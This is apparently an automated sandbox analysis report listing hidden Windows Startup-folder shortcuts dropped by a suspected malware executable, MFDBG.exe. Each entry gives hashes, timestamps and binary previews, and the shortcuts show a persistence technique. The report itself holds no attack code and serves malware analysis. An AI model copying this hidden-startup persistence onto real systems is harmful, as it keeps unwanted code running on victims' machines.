Preview:	L..................F...."...]W%.{...'A..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_936109fd0d50419ab5426be7c0d4f5d0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:8WLhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8uy0R6rMhpBoUBxdRd1nYyg
MD5:	1AE70CE0C4BEF07148959F9345E6A45E
SHA1:	B61AB91C76976F3507AD766C859EA09D80536A7B
SHA-256:	E3E36DD05978193EE882F361C20F3B47E377133D3471699A48664EBD7EFA838E
SHA-512:	BCD2155713657CD62F1EF412500AA5FC44A3544BB8700E937385C18D6BDBA52E9BAE3DB6360EC9C69CD27432CE8991D323108E4CCF9033ECBA9D2405C66F25C2
Malicious:	false
Preview:	L..................F...."...]W%.{...>,3.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93a18fbdc92d4800b5610401422ac6a2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939583682130046
Encrypted:	false
SSDEEP:	24:82hBfjqH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cLqc0R6rMhpBoUBxdRd1nYyg
MD5:	99BA418E95CDF1A1F6F1FED4BE282984
SHA1:	0BB72CC07E565721AF54C13E70A26B133FC7BF58
SHA-256:	B7076B463C8451A46BBB586401C23817F48188F7BF721A3B1388438F4B58CF0D
SHA-512:	EE6F665A08E68B714370824743C446AF44CADDBE1A4BB7CA2334387BC0E49CC8851072AB4EA3CAFB3994CD8BFCDD399B5D2090B7F61C1487A3E476223A6DF5DD
Malicious:	false
Preview:	L..................F...."...]W%.{.....J.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....F.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93f5487182ce40a88a71a4d2cc51634d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921167620517203
Encrypted:	false
SSDEEP:	24:8BhBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xC0R6rMhpBoUBxdRd1nYyg
MD5:	239ACE619C8B300E810711B0A3622A1F
SHA1:	13E6163169525D1E7B9E0B1A26D174B130C1EBB2
SHA-256:	1E49499964AC54EDE02260D17B105F8B94DA90ADF09724AF0B27C3F46815E86E
SHA-512:	0E5AB0102DCE45443B83CBFB1F78E8B4FE752DA5B9773DF5FF90E6073E5D3093583FA82767AD369602EA8EBA1FFF98718F2A341EA14C269DD7BFC6B357CF80A7
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_94a9df81aba8412ba46b800b801a0ae8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152354
Encrypted:	false
SSDEEP:	24:81hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lr0R6rMhpBoUBxdRd1nYyg
MD5:	D4C9F84F0E25971F9E6A01E3D36284D2
SHA1:	CD1733799C237859F362E6A7C994E5808DC35017
SHA-256:	0B7D8989B1FA0D4F65219D9B57BAA124A4F98AE1B3F3659ABD5F014694604478
SHA-512:	FFC88FEC0B2B366894765A0434B39EDA2D4632B7520914674C27EFF4703374A0228BB73F8BB84E75C8BD001BF5F3FE14ED1FD16CC235E86B0B65C834E02AB574
Malicious:	false
Preview:	L..................F...."...]W%.{...5...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95484e5ec5554b08bd280657452dcb2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938137769925787
Encrypted:	false
SSDEEP:	24:83hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rl0R6rMhpBoUBxdRd1nYyg
MD5:	C9D8FEE4F0BBA2DE9494AD444B0C4982
SHA1:	259BE6F662287DF94588CF3ABDF4D13DB3413B75
SHA-256:	53E6600915227085A81E9835DB44A5BE72FCF57141FCB44D79712FB69F0E5542
SHA-512:	D5F5796631CB706325ECA21096B0CF226540E0B7E33D2F764A16A8943557B40260D789454337461C4BFB231293F9CFD1C51C81BF627D5FFF6E69FEDD3E30AFBA
Malicious:	false
Preview:	L..................F...."...]W%.{...+?..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95663137be014c25b1ef76f962743369.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:89hBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89cT0R6rMhpBoUBxdRd1nYyg
MD5:	9EA2604BE5F76CB5E1DA5911160C3EE3
SHA1:	C4998DCCFE6800FBD1988BCAF8DC6CF0F01AD652
SHA-256:	CD27E497818DF5527009E9AEA7AF2A61A10B346E4C3AAEBAA2F7B4D8FE45199B
SHA-512:	37B6149C289AE5E8D5C8EDB3E07916D06601DCBE0FFC422F91E65722B92DFE030D0574DF6749BB69760CBC73AA7E68F55D3521C84C5041A7F296EAB892CD3E97
Malicious:	false
Preview:	L..................F...."...]W%.{...!O..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Q(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9571c40712e14645b34cf04396aa3470.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937156468471753
Encrypted:	false
SSDEEP:	24:8kzhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kHG0R6rMhpBoUBxdRd1nYyg
MD5:	EC6F748F6DE7486DEF3946077814B47D
SHA1:	A714623267580814883584FC849AF07FAB0986C0
SHA-256:	7FCE3931CA27092D51FEBEB46919E58E8A5AB3CC42D618869D50EB8DABCCDEBF
SHA-512:	AA095C508AA85804A6333BC426729B7A485619591DA4EB22A55DB454ED6EED66A1767B57A4079B0B4BE5642C17E383175C1A01826BFE19873B8F51EE2D119FDE
Malicious:	false
Preview:	L..................F...."...]W%.{...m...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95763343891f47439a4a7b4af8b23ed3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936612603574795
Encrypted:	false
SSDEEP:	24:8ihBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ip0R6rMhpBoUBxdRd1nYyg
MD5:	455C946F5669437DD7B631D5143EC2FE
SHA1:	A79A167499C1427835CC0708F415CB18F657B631
SHA-256:	73820D0119745827351F8060EE39AC134B0FCAD5FE1A9A108E344D36BB76899E
SHA-512:	006B5CE2CF3F3D891CA69E514C840212DD1E0E7EE781C242AAD4534D954B3C9F4E6D0430D2A8742D5518F447A830805F8299C7AB59B4BEF06A7F471FB4D93434
Malicious:	false
Preview:	L..................F...."...]W%.{....3..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95983e912aa547198f4ef99870e9cc67.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94260091325068
Encrypted:	false
SSDEEP:	24:8VGhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iZ0R6rMhpBoUBxdRd1nYyg
MD5:	E5AB1EBE7F001057053278E6B16FD4A5
SHA1:	027DF84B10FB23515548E1E2FD293717A1332C17
SHA-256:	E3AD2677DFBFF7BB1FADE3460D5585D27661559F5B28FADA3184F059906490BF
SHA-512:	F82A13E18C6B415C53A4C186666F871B834994E557711F4A8B533AF5159158AEC47DF1CF017CE76802B90D4BFDD5796658AC1FD43ADB5AAD0EA2B00999554F72
Malicious:	false
Preview:	L..................F...."...]W%.{...)...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95a5ce44e77f40e38f6bc6631b040559.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944940139710639
Encrypted:	false
SSDEEP:	24:8gmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gs60R6rMhpBoUBxdRd1nYyg
MD5:	562EEDB0770EE2D044A513DB38BADB70
SHA1:	8D8862083C01CFBB026D7C73BAF6BCA01F54AB86
SHA-256:	4F9D6D7DBD34405FAB419B116AB6CBFBD98F7DC2D1273EB4F101966C465DBCEE
SHA-512:	3ED4A1CD9B038A28846BD098A9B157A376F3022462E7271CA92A931F2E4F66094AF714C3B2DE43EE3DBE8F38D68F2E5D0384BAAA0948F4BA96AA8D628168B576
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95c4a620e7c54d51bcd5d5734b0b139b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936273669022362
Encrypted:	false
SSDEEP:	24:84hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8as0R6rMhpBoUBxdRd1nYyg
MD5:	41161602045DBECB7E4B615E6A5D28B3
SHA1:	B97699ED43EC37AE6331E90110C7B0B27B702662
SHA-256:	F611AB004BC8F53E5A373CA9AA0796F3E6C903F6D37EA84F1726B9947D917E10
SHA-512:	9ACE1805F651E8AA7CF976DCDE6B6592B6F8B6FCC16001411D375B6D2218094B7E94BA4729C52E80F20529439CE47B861CC457FDE85FCD558D336A5C32FE8CBB
Malicious:	false
Preview:	L..................F...."...]W%.{...+...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9625d98d0d614ec59810ba34cf1f8cff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9418478269314985
Encrypted:	false
SSDEEP:	24:8RPhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pR0R6rMhpBoUBxdRd1nYyg
MD5:	75E8EB5FA8B1F99F383A617C2897B22B
SHA1:	6AF8DD4CC8D3BB3F14873D17A154BD6CAF30C3E1
SHA-256:	958A88A7455497CA3EC085E133CDE05B1E2FFA4F1BA52F086F46AFF0AF416DEB
SHA-512:	2ADBE4D735742BA7DE7B0646E0697FF8167430262EE796FCBFB1709277F0D5B8F4CA3519DEE5219BD15C3DF9C4E0B52E8CA174305E1FED27E6E50F714D6F2C91
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96601eaaba1b459989c2abf8d14136cc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935193987936468
Encrypted:	false
SSDEEP:	24:8jhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8X+0R6rMhpBoUBxdRd1nYyg
MD5:	75AEB46124FD19EA03E6CEC9C37F6BD5
SHA1:	1004EE19F0F41215C68D622856EDA0A6C8A4A1D8
SHA-256:	01F8F984692F7D8BC871DC01273FAB2B03F8BF2AAB1AD1FE48F27B9A3F58FA78
SHA-512:	6D8A1F687C119B4629FD9E3ADB18DA3463D3A07D459EF7F544385F3F57EAF5AB357294BEDB54CAD4F50AFF88FC3915BE09BC6B00AFAE25F8DA799E4E68C9FDB2
Malicious:	false
